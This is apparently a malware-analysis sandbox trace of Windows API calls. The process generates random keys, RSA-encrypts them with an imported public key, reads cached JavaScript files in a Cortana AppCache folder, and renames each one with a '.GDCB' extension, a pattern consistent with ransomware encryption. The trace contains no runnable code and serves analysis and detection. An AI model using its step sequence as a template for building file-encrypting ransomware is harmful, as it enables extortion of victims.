[0251.533] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.538] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.538] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.538] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.542] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.542] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.545] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781388) returned 1 [0251.545] CryptGetKeyParam (in: hKey=0x6781388, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.545] CryptEncrypt (in: hKey=0x6781388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.545] GetLastError () returned 0x0 [0251.545] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.545] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.547] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781408) returned 1 [0251.547] CryptGetKeyParam (in: hKey=0x6781408, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.547] CryptEncrypt (in: hKey=0x6781408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.547] GetLastError () returned 0x0 [0251.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.548] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.551] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.553] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x17480, lpOverlapped=0x0) returned 1 [0251.558] VirtualAlloc (lpAddress=0x0, dwSize=0x17480, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.565] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js.gdcb")) returned 1 [0251.568] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.574] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.574] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.574] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.580] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.580] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.580] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.580] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.582] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781708) returned 1 [0251.583] CryptGetKeyParam (in: hKey=0x6781708, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.583] CryptEncrypt (in: hKey=0x6781708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.583] GetLastError () returned 0x0 [0251.583] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.583] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.585] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67814c8) returned 1 [0251.585] CryptGetKeyParam (in: hKey=0x67814c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.585] CryptEncrypt (in: hKey=0x67814c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.585] GetLastError () returned 0x0 [0251.585] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.585] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.586] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.589] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.591] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x9ac0, lpOverlapped=0x0) returned 1 [0251.598] VirtualAlloc (lpAddress=0x0, dwSize=0x9ac0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.604] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js.gdcb")) returned 1 [0251.608] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.612] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.612] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.612] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.616] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.616] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.617] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.619] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781648) returned 1 [0251.619] CryptGetKeyParam (in: hKey=0x6781648, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.619] CryptEncrypt (in: hKey=0x6781648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.619] GetLastError () returned 0x0 [0251.619] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.619] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.621] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781588) returned 1 [0251.621] CryptGetKeyParam (in: hKey=0x6781588, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.621] CryptEncrypt (in: hKey=0x6781588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.621] GetLastError () returned 0x0 [0251.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.623] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.625] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.627] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x4060, lpOverlapped=0x0) returned 1 [0251.636] VirtualAlloc (lpAddress=0x0, dwSize=0x4060, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.642] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js.gdcb")) returned 1 [0251.645] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.650] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.650] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.650] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.654] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.654] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.654] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.656] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781788) returned 1 [0251.656] CryptGetKeyParam (in: hKey=0x6781788, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.656] CryptEncrypt (in: hKey=0x6781788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.657] GetLastError () returned 0x0 [0251.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.657] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.658] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67815c8) returned 1 [0251.658] CryptGetKeyParam (in: hKey=0x67815c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.658] CryptEncrypt (in: hKey=0x67815c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.659] GetLastError () returned 0x0 [0251.659] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.659] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.660] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.662] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.664] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x7bb0, lpOverlapped=0x0) returned 1 [0251.679] VirtualAlloc (lpAddress=0x0, dwSize=0x7bb0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.685] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js.gdcb")) returned 1 [0251.688] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.693] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.693] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.693] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.693] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.697] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.697] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.697] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.699] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67817c8) returned 1 [0251.699] CryptGetKeyParam (in: hKey=0x67817c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.699] CryptEncrypt (in: hKey=0x67817c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.699] GetLastError () returned 0x0 [0251.699] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.699] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.701] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781808) returned 1 [0251.701] CryptGetKeyParam (in: hKey=0x6781808, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.701] CryptEncrypt (in: hKey=0x6781808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.702] GetLastError () returned 0x0 [0251.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.703] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.705] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.707] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x7e80, lpOverlapped=0x0) returned 1 [0251.717] VirtualAlloc (lpAddress=0x0, dwSize=0x7e80, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.722] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js.gdcb")) returned 1 [0251.726] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.728] 